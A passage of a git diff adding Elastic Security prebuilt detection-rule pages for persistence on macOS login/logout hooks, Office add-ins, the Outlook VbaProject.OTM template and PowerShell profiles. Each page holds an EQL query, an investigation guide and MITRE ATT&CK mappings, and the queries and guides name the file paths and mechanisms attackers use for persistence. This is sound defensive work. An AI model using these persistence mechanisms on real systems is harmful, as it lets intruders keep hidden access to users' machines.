Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-login-or-logout-hook.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-login-or-logout-hook.asciidoc new file mode 100644 index 0000000000..a515c00a2e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-login-or-logout-hook.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-persistence-via-login-or-logout-hook]] +=== Persistence via Login or Logout Hook + +Identifies use of the Defaults command to install a login or logoff hook in MacOS. An adversary may abuse this capability to establish persistence in an environment by inserting code to be executed at login or logout. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.virusbulletin.com/uploads/pdf/conference_slides/2014/Wardle-VB2014.pdf +* https://www.manpagez.com/man/1/defaults/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Login or Logout Hook* + + +In macOS environments, login and logout hooks are scripts executed automatically during user login or logout, often used for system management tasks. Adversaries exploit this by inserting malicious scripts to maintain persistence. The detection rule identifies suspicious use of the `defaults` command to set these hooks, excluding known legitimate scripts, thus highlighting potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the "defaults" command with "write" arguments targeting "LoginHook" or "LogoutHook". +- Check the process execution history for the user account associated with the alert to identify any unusual or unauthorized activity. +- Investigate the source and content of the script specified in the "defaults" command to determine if it contains malicious or unauthorized code. +- Cross-reference the script path against known legitimate scripts to ensure it is not mistakenly flagged. +- Analyze recent system changes or installations that might have introduced the suspicious script or process. +- Review system logs around the time of the alert for any additional indicators of compromise or related suspicious activity. + + +*False positive analysis* + + +- Known false positives include legitimate scripts used by system management tools like JAMF, which are often set as login or logout hooks. +- To handle these, users can create exceptions for known legitimate scripts by adding their paths to the exclusion list in the detection rule. +- Regularly review and update the exclusion list to ensure it includes all authorized scripts used in your environment. +- Monitor for any changes in the behavior of these scripts to ensure they remain non-threatening and authorized. +- Collaborate with IT and security teams to identify any new legitimate scripts that should be excluded from detection. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious processes associated with the unauthorized login or logout hooks to halt any ongoing malicious activity. +- Remove the unauthorized login or logout hooks by using the `defaults delete` command to ensure the persistence mechanism is dismantled. +- Conduct a thorough review of system logs and recent changes to identify any additional unauthorized modifications or indicators of compromise. +- Restore any affected system files or configurations from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar unauthorized use of the `defaults` command to improve detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and + process.name == "defaults" and process.args == "write" and process.args : ("LoginHook", "LogoutHook") and + not process.args : + ( + "Support/JAMF/ManagementFrameworkScripts/logouthook.sh", + "Support/JAMF/ManagementFrameworkScripts/loginhook.sh", + "/Library/Application Support/JAMF/ManagementFrameworkScripts/logouthook.sh", + "/Library/Application Support/JAMF/ManagementFrameworkScripts/loginhook.sh" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: Login Hook +** ID: T1037.002 +** Reference URL: https://attack.mitre.org/techniques/T1037/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-microsoft-office-addins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-microsoft-office-addins.asciidoc new file mode 100644 index 0000000000..ae84c5ec15 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-microsoft-office-addins.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-persistence-via-microsoft-office-addins]] +=== Persistence via Microsoft Office AddIns + +Detects attempts to establish persistence on an endpoint by abusing Microsoft Office add-ins. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via Microsoft Office AddIns* + + + +*Possible investigation steps* + + +- Which Office add-in autoload mechanism does the alert show? + - Focus: alert `file.path`, `file.name`, `file.extension`, and `user.id` on `host.id`: "wll" maps to Word Startup, "xla"/"xlam" to Excel XLSTART, and "xll"/"ppa"/"ppam" to add-in locations that may need loader settings. + - Implication: escalate when a user-profile Office startup or add-in path receives a one-off or user-initiated add-in; lower suspicion only when path, name, extension, writer, and provenance all fit the same recognized deployment or repair. + +- Does the artifact identity or provenance look like a staged payload? + - Why: DLL-style "wll"/"xll" and Office container add-ins have different expected headers, so rename and origin fields can expose payload staging. + - Focus: `file.Ext.header_bytes`, `file.Ext.original.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier`. + - Implication: escalate when headers, rename history, internet-zone provenance, or archive/mail-cache origin conflict with the claimed add-in; lower suspicion when format and provenance align with the same recognized vendor package. + +- Does the writer process fit an add-in installer or a dropper chain? + - Focus: writer `process.executable`, `process.command_line`, `process.parent.executable`, and `process.code_signature.subject_name`. + - Implication: escalate when browsers, mail clients, scripting engines, archive tools, or unsigned user-writable binaries write the add-in; lower suspicion when signer, path, command line, and parent all match the same recognized installer or managed integration. Signer trust alone never clears the placement. + +- If registry telemetry is available, did the writer create loader settings required for this add-in type? + - Why: the alert is a file write; loader settings, when visible, show whether Office was configured to consume the add-in rather than merely store it. + - Focus: same `host.id` and writer `process.entity_id`; check `registry.path`, `registry.value`, `registry.data.type`, and `registry.data.strings` for Office loader values pointing to the alerted file. !{investigate{"description":"","label":"Registry events for the same writing process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when loader values reference the alerted file or directory; do not require registry corroboration when path, provenance, or writer evidence is already suspicious. Missing registry telemetry is unresolved, not benign. + +- Did Office later load the add-in or spawn follow-on activity from it? + - Focus: later Office `process.name` values "WINWORD.EXE", "EXCEL.EXE", or "POWERPNT.EXE" on the same `host.id`, Office `process.entity_id`, child `process.parent.entity_id`, child `process.executable`, and, if library telemetry exists, `dll.path` matching the add-in. + - !{investigate{"description":"","label":"Office process starts on the host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"WINWORD.EXE","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"EXCEL.EXE","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"POWERPNT.EXE","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Library loads for the add-in path","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"dll.path","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: missing library telemetry is unresolved, not benign; use those pivots and child process expansion from recovered Office instances as fallback execution evidence. + - Implication: escalate when Office loads the add-in path, starts a child from the same session, or touches a payload dropped with the add-in; do not wait for library telemetry when file, writer, or loader evidence already warrants escalation. + +- If local evidence is suspicious or unresolved, what related host activity changes scope? + - Focus: related alerts on the same `host.id`, especially document delivery, script execution, suspicious file writes, Office child processes, or additional persistence activity. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when related host alerts connect the add-in write to delivery, execution, credential access, or another persistence mechanism; do not close solely because related alerts are absent. + +- What disposition do the add-in mechanism, artifact identity, writer lineage, loader state, Office execution, and scope support? + - Escalate on suspicious provenance, unexpected writer lineage, matching loader values, Office follow-on execution, or related host activity; close only when file, writer, provenance, loader state, and Office behavior align with one verified deployment or integration and no contradictions remain; preserve artifacts and escalate mixed or incomplete evidence. + + +*False positive analysis* + + +- Managed Office add-in deployment, repair, and productivity, accessibility, or CRM first-use installs can place files in these paths. Close only when writer `process.executable`, `process.command_line`, signer `process.code_signature.subject_name`, parent `process.parent.executable`, final `file.path`, required loader state, provenance fields, later Office `process.name`, and child `process.executable` all align with one deployment or vendor workflow and no contradictory evidence remains. Use change or inventory records as corroboration, not as a telemetry substitute. +- Before creating an exception, build it from the minimum current-case pattern: `file.path`, writer `process.code_signature.subject_name`, writer `process.parent.executable`, required loader-state pattern, and `host.id` or `user.id` scope. Avoid exceptions on Office startup directories, file extensions, or Office process names alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the verified workflow with `file.path`, `file.hash.sha256`, writer `process.executable`, signer `process.code_signature.subject_name`, and any recovered loader-state evidence. Create any exception from that exact workflow pattern and scope it narrowly to the confirmed host or user cohort. +- If suspicious but unconfirmed, preserve the alert export, the add-in file and hash from `file.path` and `file.hash.sha256`, writer `process.entity_id` and `process.command_line`, and any recovered loader-state, library-load, or child-process evidence before deleting anything. Apply reversible containment first, such as quarantining the add-in file, disabling the affected Office add-in path, or temporarily restricting Office execution on the host. +- If confirmed malicious, isolate the host if its role can tolerate interruption, then terminate responsible Office or loader processes only after preserving their entity IDs, command lines, and the add-in file evidence. Remove the malicious add-in, clear associated Office loader configuration, restore affected Office add-in settings, and remediate the delivery path that introduced the file. Reset credentials only if the investigation also shows account misuse. +- Review related hosts and users for the same `file.path`, `file.hash.sha256`, writer lineage, and loader-state pattern before eradication. For Word WLL cases, do not rely on the Office UI alone to prove the add-in is disabled; verify the file and supporting configuration are gone. +- Post-incident hardening: restrict write access to Office startup directories and add-in loader locations, prefer signed managed add-in deployment, retain process/file plus registry or library telemetry needed to confirm later Office execution, and document adjacent variants such as Word WLL autoload abuse or registry-backed Office add-in loading in the case record. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : ("wll","xll","ppa","ppam","xla","xlam") and + file.path : ( + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", + + /* Crowdstrike specific condition as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Word\\Startup\\*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\AddIns\\*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" + ) and + not (file.name : "~$*" and process.name : "excel.exe" and ?file.size in (0, 165)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-microsoft-outlook-vba.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-microsoft-outlook-vba.asciidoc new file mode 100644 index 0000000000..3fafd9d3b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-microsoft-outlook-vba.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-persistence-via-microsoft-outlook-vba]] +=== Persistence via Microsoft Outlook VBA + +Detects attempts to establish persistence on an endpoint by installing a rogue Microsoft Outlook VBA Template. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ +* https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via Microsoft Outlook VBA* + + +Microsoft Outlook supports VBA scripting to automate tasks, which can be exploited by adversaries to maintain persistence. Attackers may install malicious VBA templates in the Outlook environment, triggering scripts upon application startup. The detection rule identifies suspicious activity by monitoring for unauthorized modifications to the VBAProject.OTM file, a common target for such persistence techniques, leveraging various data sources to flag potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file path matches the pattern "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM" and ensure the event type is not "deletion". +- Check the modification timestamp of the VbaProject.OTM file to determine when the unauthorized change occurred. +- Identify the user account associated with the file path to understand which user profile was potentially compromised. +- Investigate recent login activities and processes executed by the identified user to detect any anomalies or unauthorized access. +- Examine the contents of the VbaProject.OTM file for any suspicious or unfamiliar VBA scripts that could indicate malicious intent. +- Correlate the findings with other data sources such as Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context or related events. +- Assess the risk and impact of the detected activity and determine if further containment or remediation actions are necessary. + + +*False positive analysis* + + +- Routine updates or legitimate changes to the Outlook environment can trigger alerts. Users should verify if recent software updates or administrative changes align with the detected activity. +- Custom scripts or macros developed by IT departments for legitimate automation tasks may be flagged. Establish a whitelist of known and approved VBA scripts to prevent unnecessary alerts. +- User-initiated actions such as importing or exporting Outlook settings might modify the VbaProject.OTM file. Educate users on the implications of these actions and consider excluding these specific user actions from triggering alerts. +- Security software or backup solutions that interact with Outlook files could cause false positives. Identify and exclude these processes if they are known to be safe and necessary for operations. +- Regularly review and update the exclusion list to ensure it reflects current organizational needs and does not inadvertently allow malicious activity. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network to prevent further spread of the malicious VBA script and to contain the threat. +- Terminate any suspicious Outlook processes on the affected machine to stop the execution of potentially harmful scripts. +- Remove the unauthorized or malicious VbaProject.OTM file from the affected user's Outlook directory to eliminate the persistence mechanism. +- Restore the VbaProject.OTM file from a known good backup if available, ensuring that it is free from any unauthorized modifications. +- Conduct a full antivirus and antimalware scan on the affected endpoint using tools like Microsoft Defender XDR to identify and remove any additional threats. +- Review and update endpoint security policies to restrict unauthorized modifications to Outlook VBA files, leveraging application whitelisting or similar controls. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : "VbaProject.OTM" and + file.path : ("?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM", "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Office Template Macros +** ID: T1137.001 +** Reference URL: https://attack.mitre.org/techniques/T1137/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-powershell-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-powershell-profile.asciidoc new file mode 100644 index 0000000000..f3c6fa42d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-powershell-profile.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-persistence-via-powershell-profile]] +=== Persistence via PowerShell profile + +Identifies the creation or modification of a PowerShell profile. PowerShell profile is a script that is executed when PowerShell starts to customize the user environment, which can be abused by attackers to persist in a environment where PowerShell is common. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles +* https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Persistence via PowerShell profile* + + +PowerShell profiles are scripts executed when PowerShell starts, customizing the user environment. They are commonly used in Windows environments for legitimate purposes, such as setting variables or loading modules. However, adversaries can abuse PowerShell profiles to establish persistence by inserting malicious code that executes each time PowerShell is launched. + +This rule identifies the creation or modification of a PowerShell profile. It does this by monitoring file events on Windows systems, specifically targeting profile-related file paths and names, such as `profile.ps1` and `Microsoft.Powershell_profile.ps1`. By detecting these activities, security analysts can investigate potential abuse of PowerShell profiles for malicious persistence. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Retrive and inspect the PowerShell profile content; look for suspicious DLL imports, collection or persistence capabilities, suspicious functions, encoded or compressed data, suspicious commands, and other potentially malicious characteristics. +- Identify the process responsible for the PowerShell profile creation/modification. Use the Elastic Defend events to examine all the activity of the subject process by filtering by the process's `process.entity_id`. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Evaluate whether the user needs to use PowerShell to complete tasks. +- Check for additional PowerShell and command-line logs that indicate that any suspicious command or function were run. +- Examine the host for derived artifacts that indicate suspicious activities: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This is a dual-use mechanism, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the script doesn't contain malicious functions or potential for abuse, no other suspicious activity was identified, and the user has business justifications to use PowerShell. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Reimage the host operating system or restore the compromised files to clean versions. +- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + - Consider enabling and collecting PowerShell logs such as transcription, module, and script block logging, to improve visibility into PowerShell activities. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : ("profile.ps1", "Microsoft.Powershell_profile.ps1") and + file.path : ("?:\\Users\\*\\Documents\\WindowsPowerShell\\*.ps1", + "?:\\Users\\*\\Documents\\PowerShell\\*.ps1", + "?:\\Windows\\System32\\WindowsPowerShell\\*.ps1", + "\\Device\\HarddiskVolume*\\Users\\*\\Documents\\WindowsPowerShell\\*.ps1", + "\\Device\\HarddiskVolume*\\Users\\*\\Documents\\PowerShell\\*.ps1", + "\\Device\\HarddiskVolume*\\Windows\\System32\\WindowsPowerShell\\*.ps1") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: PowerShell Profile +** ID: T1546.013 +** Reference URL: 